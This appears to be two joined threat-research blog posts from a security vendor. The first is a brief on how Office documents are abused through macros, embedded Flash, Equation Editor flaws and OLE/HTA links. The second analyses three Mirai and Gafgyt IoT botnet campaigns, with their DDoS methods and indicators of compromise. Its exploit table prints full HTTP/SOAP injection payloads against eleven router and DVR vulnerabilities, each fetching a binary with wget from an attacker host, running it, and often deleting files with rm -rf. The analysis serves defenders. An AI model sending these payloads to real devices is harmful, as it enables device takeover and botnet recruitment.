Threat Brief: Office Documents Can Be Dangerous (But We’ll Continue to Use Them Anyway)

Nearly all of us have a use for Microsoft Office documents. Whether they are work documents, e-receipts, or a lease on a new apartment – Office documents are useful to all of us, and this is part of the reason we’re very likely to open an office document we receive as an attachment in e-mail. Armed with the knowledge that many people will open nearly any document, even those from an untrusted source, adversaries commonly choose these files in attacks to compromise a system.
In this threat brief we show you five different ways that Office documents can be subverted and abused to attack and compromise a Windows endpoint, some we’ve already posted about before, and some are new.

Macros
Macros are the most straight-forward way for an attacker to weaponize Office documents. Office applications have a built-in script engine that can run VBA (Visual Basic for Applications) scripts. These scripts can execute immediately as the document opens, without any user interaction (assuming the user has previously enabled macros) and run malicious code on the system. If the user has not enabled macros, a popup window will appear asking the user to click to do so. The pop-up is one of several security mechanisms added by Microsoft to mitigate the security risk that macros pose. Microsoft will also force a different file extension (.docm instead of .docx for new documents containing macros). Despite these measures, users still choose to open these files and enable their content, thus allowing macros to continue be a common attack vector – both in wide and simple attacks to deliver ransomware such as Emotet, as well as for sophisticated attacks like this Sofacy campaign.
Threat Brief_1

Figure 1. The Sofacy document before & after the content is enabled

As you can see in this example, attackers try to convince users to disable the security mechanisms added by Microsoft using social engineering, convincing the user to enable content for them to be able to see the full document. In the Sofacy example, the attackers had simply made the font color white, so the text was present prior to the user enabling macros, just not clearly visible.

Embedded Flash files
In addition to built-in capabilities, like macros, Office documents can also be embedded with external objects, such as Adobe Flash files. These objects are passed to the appropriate software for handling, thus any vulnerability that the software has can also be exploited by embedding it within the Adobe Flash content in the Office document. An example for such attack vector being leveraged by attackers is CVE-2018-4878, an Adobe Flash Player Zero-Day exploited by embedding malicious SWF files in Excel documents. In these types of attacks, the malicious Excel contains embedded Adobe Flash content which can trigger the Flash vulnerability and execute embedded shellcode.

Microsoft Equation Editor
In a similar way to embedding Adobe Flash files into an Office document, you can also embed equations in documents that will be parsed by Microsoft Equation Editor - a program that lets you easily write mathematical equations:
Threat Brief_2

Figure 2.  Microsoft Equation Editor

As in our previous example, vulnerabilities in the equation editor can be exploited by leveraging malicious Office documents. We’ve seen examples of this just recently, when CVE-2017-11882 was exploited in the wild, paving the way to other exploits like CVE-2018-0802, both of which exploit flaws in the equation editor, enabling attackers to get from the user opening an Office document to remote code execution. While still not seen in the wild, similar exploits in Microsoft Equation Editor, such as such as CVE-2018-0807 and CVE-2018-0798, were identified by Unit 42 researchers.
Note that since the Microsoft Equation Editor runs as its own process (eqnedt32.exe), protections specific to Microsoft Office such as EMET and Windows Defender Exploit Guard are not effective by default, as they only protect Microsoft Office processes (such as winword.exe).

OLE Objects & HTA Handlers
OLE Objects & HTA Handlers are mechanisms Office documents use to make references to include other documents in their content. They can be used to compromise an endpoint in the following way:

  • A Microsoft Word document is embedded with an OLE2 embedded link object
  • Once the document is opened, the Word process (winword.exe) sends an HTTP request to a remote server to retrieve an HTA file with a malicious script
  • Winword.exe will then look up the file handler for application/hta through a COM object, which causes the Microsoft HTA application (mshta.exe) to load and execute the malicious script

This functionality was leveraged in exploitation of CVE-2017-0199 - a Microsoft Office/WordPad remote code execution (RCE) vulnerability patched by Microsoft in September 2017, and was used in multiple campaigns, like this OilRig campaign.
Threat Brief_3

Figure 3. RTF files will look exactly like regular Word documents

In addition to the previous OLE & HTA exploit, attackers discovered RTF files can also execute ‘text/html’ mime-type OLE objects using the MSHTML. This means that RTF documents expose the same attack surface as Internet Explorer!
Leveraging this logical vulnerability, known as CVE-2018-8174, allows attackers to execute arbitrary HTML/JavaScript/VBScript. While code executed in this way is ‘sandboxed’ (where it cannot run new processes or write to the filesystem etc.), like other code running from Internet Explorer, this flaw can be used to leverage other vulnerabilities, such as a memory corruption UAF vulnerability in the VBScript engine, to gain arbitrary code execution in the context of the Word application (winword.exe), allowing them to gain control on the system.

Conclusion
While document-based attacks have been a common attack vector for over a decade, we’re seeing a recent rise in their popularity and complexity. This rise may be a result of browser exploits becoming more difficult to use, due to the hardening done by browser developers. No matter the reason, it is important that organizations know how to defend against these common techniques.

Prevention
Palo Alto Networks Traps advanced endpoint protection offers multiple methods of malware and exploit prevention to protect against these threats:

  • Macro examination – Traps examines every Office document for the existence of malicious macros by leveraging both the WildFire threat intelligence cloud as well as local machine learning based capabilities and can prevent malicious files from even being opened by the user.
  • Exploit prevention – Traps extensive exploit prevention capabilities allows preventing any of these exploitation attempts from succeeding running the malicious shellcode on the attacked endpoint.
  • Traps is monitoring Office applications by default, ensuring that legitimate built-in processes are not leveraged for malicious flows.

Unit 42 Finds New Mirai and Gafgyt IoT/Linux Botnet Campaigns

The end of May 2018 has marked the emergence of three malware campaigns built on publicly available source code for the Mirai and Gafgyt malware families that incorporate multiple known exploits affecting Internet of Things (IoT) devices.
Samples belonging to these campaigns incorporate as many as eleven exploits within a single sample, beating the IoT Reaper malware, which borrowed some of the Mirai source code but also came with an integrated LUA environment that incorporated nine exploits in its code.
In their newest evolution, samples also target the D-Link DSL-2750B OS Command Injection  vulnerability, only a few weeks after the publication of its Metasploit module on the 25th of May (even though the vulnerability has been public knowledge since February of 2016).
While exploring samples belonging to one of these campaigns, I also discovered they support several new DDoS methods previously unused by Mirai variants.
This blog post details each campaign (in the chronological order they were observed) along with the exploits used, the new DDoS methods supported, ending in a comparative summary of the campaigns.  Also covered is the tangential discovery of some Gafgyt samples incorporating new Layer 7 DDoS functionality targeting a known DDoS-protection provider.
IOCs for different campaigns, if not mentioned under the corresponding section, can be found at the end of this blog post.

CAMPAIGN 1: An evolution of Omni
In May 2018, the Omni botnet, a variant of Mirai, was found exploiting two vulnerabilities affecting Dasan GPON routers - CVE-2018-10561 (authentication bypass) and CVE-2018-1562 (command injection). The two vulnerabilities used in conjunction allow the execution of commands sent by an unauthenticated remote attacker to a vulnerable device.
Since then the same family has evolved to incorporate several more exploits, detailed in Table 1.
I used the sample below for this analysis

SHA256 3908cc1d8001f926031fbe55ce104448dbc20c9795b7c3cfbd9abe7b789f899d

 

VULNERABILITY AFFECTED DEVICES EXPLOIT FORMAT
CVE-2018-10561, CVE-2018-10562 Dasan GPON routers XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=;wget+http://%s/gpon80+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=;wget+http://%s/gpon8080+-O+->/tmp/gpon8080;sh+/tmp/gpon8080&ipv=0

CVE-2014-8361 Different devices using the Realtek SDK with the miniigd daemon POST /picsdesc.xml
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47500</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /tmp/; rm -rf*; wget http://%s/realtek</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>POST /picsdesc.xml
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47500</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /tmp/;chmod +x realtek;./realtek realtek</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Netgear setup.cgi unauthenticated RCE DGN1000 Netgear routers GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s/netgear+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
CVE-2017-17215 Huawei HG532 POST /ctrlt/DeviceUpgrade_1
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/huawei -r /huawei; sh /tmp/huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Eir WAN Side Remote Command Injection Eir D1000 routers POST /UD/act?1
<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>cd /tmp && rm -rf * && /bin/busybox wget http://%s/tr064 && sh /tmp/tr064</NewNTPServer1><NewNTPServer2>echo OMNI</NewNTPServer2><NewNTPServer3>echo OMNI</NewNTPServer3><NewNTPServer4>echo OMNI</NewNTPServer4><NewNTPServer5>echo OMNI</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

POST /UD/act?1
<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>cd /tmp && rm -rf * && /bin/busybox wget http://%s/tr064 && sh /tmp/tr064</NewNTPServer1><NewNTPServer2>echo OMNI</NewNTPServer2><NewNTPServer3>echo OMNI</NewNTPServer3><NewNTPServer4>echo OMNI</NewNTPServer4><NewNTPServer5>echo OMNI</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

HNAP SoapAction-Header Command Execution D-Link devices POST /HNAP1/
SOAPAction: http://purenetworks.com/HNAP1/cd /tmp && rm -rf * && wget http://%s/hnap && sh /tmp/hnap

(Faulty exploit:
This vulnerability stems from the fact that anything trailing the last '/' after the string “http://purenetworks.com/HNAP1/GetDeviceSettings” in the SoapAction header value is executed using the system command without sanitization

In this implementation, the exploit code is appended to “http://purenetworks.com/HNAP1/”, and hence the above condition will not be triggered. To the best of my knowledge this exploit will not work on any devices)

CCTV/DVR Remote Code Execution CCTVs, DVRs from over 70 vendors GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s/crossweb;sh${IFS}/tmp/crossweb&>r&&tar${IFS}/string.js
JAWS Webserver unauthenticated shell command execution MVPower DVRs, among others GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s/jaws;sh+/tmp/jaws
UPnP SOAP TelnetD Command Execution D-Link devices POST /soap.cgi?service=WANIPConn1
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>cd /tmp;rm -rf *;wget http://%s/dlink;sh /tmp/dlink</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>
Netgear cgi-bin Command Injection Netgear R7000/R6400 devices GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s/netgear2;${IFS}sh${IFS}/var/tmp/netgear2
Vacron NVR RCE Vacron NVR devices GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s/vacron;sh+/tmp/vacron

All of these vulnerabilities are publicly known and have been exploited by different botnets either separately or in combination with others in the past, however, this is the first Mirai variant using all eleven of them together.
Differentiating features of the campaign:

  • Two different encryption schemes: Aside from using the standard XOR encryption scheme seen in all Mirai variants, in this case using the table key 0xBAADF00D samples make use of a second key for the encryption of certain config strings.
  • Samples rely solely on exploits for propagation and don’t perform a credential brute-force attack.
  • Further infection of infected devices is prevented by dropping packets received on certain ports using iptables (Figure 1)

Mirai_1

Figure 1: Screenshot from malware disassembly showing the use of iptables to drop future connection attempts via certain ports

The campaign makes use of the IP 213[.]183.53.120 both for serving payloads, and as a Command and Control (C2) server.
Pivoting off this IP, I discovered some Gafgyt samples that surfaced around the same time reporting to the same IP, but using a new method named 'SendHTTPCloudflare'. This method is detailed at the end of this blog post.
This campaign was linked to the Omni variant on several references in the code as seen such as the one seen in Figure 2 below.

Mirai_2

Figure 2: OMNI reference in samples

The encrypted strings also reference a website gpon[.]party that was down at the time of this writing.
Mirai_3

Figure 3: gpon[.]party reference

CAMPAIGN 2: Okane
Samples from this campaign were served from the IP 46[.]243.189.101. This host briefly had an open directory containing the samples, as seen in the figure below.
Mirai_4

Figure 4: Screenshot from open directory at payload server 46[.]243.189.101

The payload source in this attack was located at hxxp://46[.]243.189.101/gang/. The downloaded payload is a shell script that attempts to replicate itself by downloading Okane binaries to vulnerable devices.  On the 13th of June, the payload source for some of these samples was briefly replaced with the Cloudflare DNS server 1[.]1.1.1.
This campaign incorporates the same exploits listed in Table 1. Figure 5 shows these exploits being called sequentially in one of the samples belonging to this campaign. Each call results in the creation of a dedicated fork for each exploit.
Mirai_5

Figure 5: Screenshot from malware disassembly of exploit calls in a sample from Campaign 2

Unlike the previous campaign, these samples also perform a credential brute force attack. Some unusual entries were discovered on the brute force lists in these samples, such as the following:

Some samples belonging to this campaign include the addition of two new DDoS methods to the Mirai source code.
Below are descriptions of these new DDoS methods, extracted from the following sample.

SHA256 320ed65d955bdde8fb17a35024f7bd978d26c041de1ddcf8a592974f77d82401
  • attack_method_tcpxmas: involves sending TCP packets with all flags set, also known as Christmas tree packet This could be considered a more effective means of DDoS since these packets “require much more processing by routers and end-hosts than the "usual" packets do.” This method has already been observed used by Gafgyt and Kaiten variants in the past. The payload size of packets sent is set to 768 bytes.
  • attack_method_std: involves sending packets with a randomized payload of 1024 bytes.

Digging deeper reveals that samples using these attack methods have been part of a Mirai code fork from as early as August 2017.
Some newer samples from the same campaign also integrate additional methods that only appear in samples from the beginning of June 2018. Some notable methods are detailed below.
For this analysis I used a sample with the following hash.

SHA256 be1d722af56ba8a660218a8311c0482c5b2d096ba91485e7d9dfc12a2b8e00b3

 

  • attack_method_udpgame: UDP DDoS using SOCK_RAW from a random source port to the destination port 27015 (often used by online game servers).
  • attack_method_asyn: TCP DDoS using packets with random source and destination ports, using packets with the ACK and SYN flags set.
  • attack_method_tcpfrag: TCP DDoS using SOCK_RAW with random source and destination ports and sequence number, and flags URG, ACK, PSH, RST, SYN and FIN set. In this case the ‘Don’t Fragment’ bit is set to 1.
  • attack_method_tcpall: same as attack_method_tcpfrag above, except the ‘Don’t Fragment’ bit is set to 0.
  • attack_method_tcpusyn: TCP DDoS using packets with random source and destination ports, using packets with the URG and SYN flags set.

On the 19th of June, samples on this server were stripped of their exploits and reverted to using a simple brute force and subsequently dropping a shell script, for self-propagation.

Mirai_6

Figure 6: Shell script used by newer Okane samples for self-propagation

CAMPAIGN 3: Hakai
Earlier samples belonging to this campaign use all the exploits detailed in Table 1, except for the UPnP SOAP TelnetD Command Execution exploit.  The payload source for this campaign was hxxp://hakaiboatnet[.]pw/m and the C2 server was 178[.]128.185.250. Samples make use of an encryption scheme similar to Mirai; unlike previous campaigns, they are built on the Gafgyt source code, which is also known as Bashlite, Lizkebab, Torlus or LizardStresser.
Samples listen for the following commands:

Command Translation
SC ON Scanner On
SC OFF Scanner Off
H HTTP Flood
U UDP Flood
S STD Flood
T TCP Flood
KT Kill scanner threads

Newer samples from the same server were found to have also incorporated an OS Command Injection exploit against D-Link DSL-2750B devices. These samples use the same attack methods, encryption key and C2 as the samples above, however they source their payload from hxxp://178[.]128.185.250/e.

Mirai_7

Figure 7: Exploit targeting D-Link DSL-2750B devices used in newer samples of the campaign

Summary
Table 2 shows a comparative summary of the three campaigns

Campaign Exploits Used Built on Payload source C2 Config string encryption/decryption key Also brute forces credentials?
1: Evolution of OMNI All exploits in Table 1 Mirai hxxp://213[.]183.53.120 213[.]183.53.120 Two different keys used – 0xBAADF00D, 0xDEADBEEF (or the equivalent of a byte-wise XOR with 0x22) No
2: Okane All exploits in Table 1 Mirai hxxp://46[.]243.189.101/gang/ 142[.]129.169.83:5888 0xDEACFBEF Yes
3: Hakai All exploits in Table 1, except UPnP SOAP TelnetD Command Execution. Newer samples also incorporate a D-Link DSL-2750B OS Command Injection exploit Gafgyt hxxp://hakaiboatnet[.]pw/m,
hxxp:// 178[.]128.185.250/e
178[.]128.185.250 0xDEDEFFBA Yes

Table 2: Comparative summary of the attack campaigns

Gafgyt with a new Layer-7 attack
Layer-7 DDoS attacks targeting specific DDoS protection service vendors are not new and were already observed in the form of the DvrHelper variant of Mirai.
They have however not been observed used by Gafgyt samples until now. While pivoting on the C2 used by samples of Campaign 1, I came across some Gafgyt samples listening for an additional command called HTTPCF.
When this command is received, the bot calls a function called SendHTTPCloudflare that does as its name suggests, targeting a URL path used mostly by sites protected by Cloudflare. The earliest samples observed using this attack were from the end of May 2018.
Mirai_8

Figure 8: URL format targeted by HTTPCF

Samples use the same IP i.e. 213[.]183.53.120 at port 8013 for C2 communication.
They also make use of some unusual User-Agents (UA) as seen in Figure 9. All UAs found in these samples are listed in the appendix
Mirai_9

Figure 9: Some unusual User Agents found in related Gafgyt samples

Conclusion

The initial rise of botnets targeting embedded systems had brought to light the security risks from millions of Internet-connected devices configured with default credentials.
The evolution of these botnets to the use of multiple exploits, be it IoT Reaper or the campaigns discussed here, shows how attackers can build enormous botnets consisting of different types of devices, all responding to the same C2 server. This is exacerbated by the speed of exploitation in the wild of newly released vulnerabilities and also highlights the need for security vendor reactivity in response to these disclosures, applicable to the subset of these devices that do fall under the protection of security devices. However, the onus is on device manufacturers to ensure their devices are easy to update, and that they deploy the updates in a timely manner.
Palo Alto Networks customers benefit from the following protections against these attacks:
AutoFocus customers can track these activities using individual exploit tags:

AutoFocus customers can also use the following malware family tags :

WildFire detects all related samples with malicious verdicts.
All exploits and IPs/URLs involved in these campaigns are blocked through Threat Prevention and PANDB.

Indicators of Compromise

Campaign 1 samples
000b018848e7fd947e87f1d3b8432faccb3418e0029bde7db8abf82c552bbc63
37e3a07a17a82175c60992f18eaf169e4014915eb90fac5b4704060572cfa60b
3908cc1d8001f926031fbe55ce104448dbc20c9795b7c3cfbd9abe7b789f899d
3b3a66c2c27f5821d5304e22a2a34b044027ffaac327df5263674b4aa25bc901
4c07af1041e0d83437d4b14226204652574b428cd1dbd4bfc7047c13dffc4700

 

Campaign 1 related URLs/IPs
213[.]183.53.120

 

Okane Multi-exploit samples
00499879c74122881e436fbf701a823d4dc53ff6946e58dd0e5410bad24f3d57
0fa81ebe444cfe7413f90ca116817cdfa3ccfdc41160fcd64032630d30b2d598
11628ac93368228e949d9b7e380a065e58c02626a8fd7896db8c2dec51583d1d
1d6c5a560bbb57695c502b5d642e48fbe6bddc45defdb56fa25bd94ae17e5a14
216492260b8d1342988c1688962dd95a48af8c801afe03c6801ec07d74862e60
264a194bda6aaa51665d5c872237613ac153e67827e7b0bbbe84b4e8e464544c
38736acdf58a418acd778a3203df9e84b4470a71031fe9e6d52170ad3c15e794
39893d4a033fd29faea37d09b4c8cfb9be04ffc19288506551e18d294e96bb2d
49f98a91c95a633a6d7a9a134e3a8e881e12aeede758a4367432ad3cab1c2b28
50473fc0d89fd5ed0a20c96f34c419c5ee66e630fecb88a095283450229a934e
509a7cc2335ef667ddc20298a3fae9c9c966be400719343cb59b042d05a98426
5352dc35d97ceb2d9bf58113ee1196daea66cd4a4bce9acba29ee05f4d84170e
55771db22c6305f7fba0b20b19b8537e85a45b80ddbcba1ffe0f6d30ef8697d6
645128d788b5cc1becc2546973e658c03e2ee33116013b84c05904a18044e353
834e675813e517aa0b4b6c65edbb2e8bf141b272f6918b443c69793db365ff3b
893309bc397058d50bba7c5c077bfc7f64956a098e452c63813c074beb8837dc
8b65ac91af993f95b57535e5a71571bbc06fbb37e1bfd47313585dceda345fd9
916cf77c6af335732007fd0c09ec49b8f29053731a062c33a66d65793495dcd5
93fa2bb5a64216d8579a53debcb9b2dade3a0a995c3026b04667fd472e7841a3
9e150ccd410ed8a3a8673e092450bd6dc0f5abc2d7306e2d05b57cfb21d8d4df
9fe586ead4a1b003c023c75467c9b1fcda3414265ea50e060e939a4078c79234
a0d7592cfcd469e10a9ca463780737c76d3e61c5b750345998b18721b3565f0d
a36adfa5ecec9ad5429c817de3fbece20d1b526c116d2bfccd9366aabacc2c32
ac7bb0c8bf67186572ee931f86f679e12f6737d8e36936fb40a870dc3aeeee22
b2156ce005eacccabe0ed668bbced761df1da1f1da32e645d344eaa8f075dbb9
b55bea0bf708734491d101f41ecdbb592e69b8ccc053b7dfc33fe3e465c80b9f
b72c22efed4b68d52fbc97360c388fc1812d431c208cf35af5bdcc850e8a2e01
bc11fcafe415b1bf74abbeb5189cb72f991bb6dfb01b61f2d96cbb4cfd6d9e2f
bd89be28ddecca983cc91835febce818a1f09bda471399b031f99c5278169344
bf94315a9591d77ee2d08823afaeaf7e45133d4af2d3c3ce4086aff371f248d2
c02a7a06f77bad974acd6bc193e1cb7dc73a009317f1044d202593dc3b0a67cf
c42bdc0d7bbdf9a74db9233010f2b04ca14e0864119a1c98d6c8a7a63574791c
c659709cbea976692e4be58f1f04d99127b55325f404c63525fb9ab575a66b2d
c750d1ad0d5f5d7dda2ab8dba33fa49ef1c636905abab364a70db44ab8035ab6
cfd33c0bcb7001c56a8e9438c1a5d6b34c6bdd7a2404c2fe0cdfea00abdf355a
d15d46b4d9d826bcf8cb0b43fa1f7e874708db9bb068c3aff27daa7193b51fd7
d2655773f812887da069965ad8113501aeb0a0e26aa27faa9a1469fd510ceb3c
dacdf9b548f123482f5ecc2a29d2d156021bdab250a933ace9aee140041b9abb
dbdffabc13a70a41188900620569266b5774deb007e0ef6dc63ff16ce72b4595
dcfae13f567ea01c872db539c5d89448ebde2debe46421eccf752d4e20298c58
e0ddec27709ec513886a217009f55994ddf61f58887774d6403ec18d5612d9e6
e8782c38fc7c148be589a3c44f915719378840ddbf709fd48932797609f8daf2
ec1fdb298556406d75506a234562f60ae517569963a317741dd4bd90680fb4ad
edf32e6317253a323c4e815485ff4b97c4e0af268be8d78c9c0e48ac87e52e55
f390995777d4cad93854e4030b8bc33d2405c7ddd548da5e00a589b9e7afd722

 

Okane related IPs/URLs
46[.]243.189.101
142[.]129.169.83:5888

 

Okane Multi-exploit samples fetching payload from 1.1.1.1
25763b7871c0be5dc9a3ffa4abb4fce308297baf14c0389a70336b429b0c7c39
7bde2df856061806a1a7294b780bfbcf1439ec0f9dbb4d6495c7c0d5873505d5
fca262afd92ec24af4370c664b68f453c3f97f3555ab37178ec80bbaebf7dfa6

 

Okane Multi-exploit samples using attack_method_tcpxmas and attack_method_std
0e7d4fa178b78cbfd0eaea910a53c7b933590764b72a93cd54f5823076869ab5
320ed65d955bdde8fb17a35024f7bd978d26c041de1ddcf8a592974f77d82401
5eef17f59d2c3d88d08da8d07dcca13e4225d800fce7a7fed5504e789008dc17
692b3b9ea76447447b11655711cdd22040972b1903749fe49b478ec92cdd4f7a
a0d7592cfcd469e10a9ca463780737c76d3e61c5b750345998b18721b3565f0d
a36adfa5ecec9ad5429c817de3fbece20d1b526c116d2bfccd9366aabacc2c32
c42bdc0d7bbdf9a74db9233010f2b04ca14e0864119a1c98d6c8a7a63574791c
d15d46b4d9d826bcf8cb0b43fa1f7e874708db9bb068c3aff27daa7193b51fd7

 

Okane sample without exploits using several additional DDoS methods
0ea858e747863f2c94eda3f28167951ad8cafca2cb0be1c247d01a53fb7e56e0
be1d722af56ba8a660218a8311c0482c5b2d096ba91485e7d9dfc12a2b8e00b3

 

Hakai samples
0f5b814308193064bc4ece4266def5c1baecc491117f07650c5117762648d4c5
46625884d4cc5ec9ca32221e90f3c187ef7d713fbabe8e33cad843587c0911e0
721da99e8789cdcb73db87353e2be7b82c9158e2929b9eaa7d5b4660b6d4d1e2
76a2853701ab4a8d989f383857d0d4cb8d6a7df38d543d4cb06a02079acb74c2
7e8280387887f27461f2ed758a401daf49e27342c684f199751391bfb83f438d
c959e580c4709c8aa304ffe5b3ab4ccfbdb3327b695cf5f8b4d27591664579f7
d248c1ce41d474de0ea05b34d721271c53a861e06d355e4e6e83a8955c7bbc0a
d669388681bb8d17aa2d5ee1f943ae5e8ad8729d88c78ec86b10fe51a4701c43
f05e731a3dca8868af3a05ae4867a39f397e0d54221229c0be74c8a20d00e364

 

Hakai URLs/IPs
hakaiboatnet[.]pw
178[.]128.185.250

 

Gafgyt HTTPCF samples
1eec1ef48d93106f3f00b4d4868b32a3ca8ca8da9a0852ef81a9e9226206362b
385ba7fcf276fb0b469defac7762908921df820c550e98abadec725f455b76fe
5c797cd7faf5061a75c68cc8f658c7daab94c223f523bfca0a28ba2620b1cd9f
8339dc35688574b33b523234ba76fee56d57b369c9c0292644ec2a0cf798244d
a5fe23186c95bfa9e5df8b3fb28a1922a1e820b8f51401d9042542e18f9aaec1
c12132f341d19c386a617ff2a607df35648ab6f17106608a575d086fadfe3a04
c159087ee8af27685a6b46b18cb59dfbcff85a165cd308c5d617eb3f8166b328
e949a6429530b8b6876073dc025a0cda0d6311a6dc15fcb72b24a3fe6cb86529
fe0c3682dac042b8cb92e731ace80660d7722782c1c5551ec2a18e747788c73d

APPENDIX

User-Agents used by Gafgyt HTTPCF samples
MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1
Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000
Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0
MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0
SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19
Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62
Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01
Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16
BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100
BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1
Doris/1.15 [en] (Symbian)
Bunjalloo/0.7.6(Nintendo DS;U;en)
PSP (PlayStation Portable); 2.00
Mozilla/4.0 (PSP (PlayStation Portable); 2.00)
wii libnup/1.0
Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2
Mozilla/5.0 (PLAYSTATION 3; 3.55)
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7
Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)
Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2
Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911
Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201
Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4
Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)
Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0

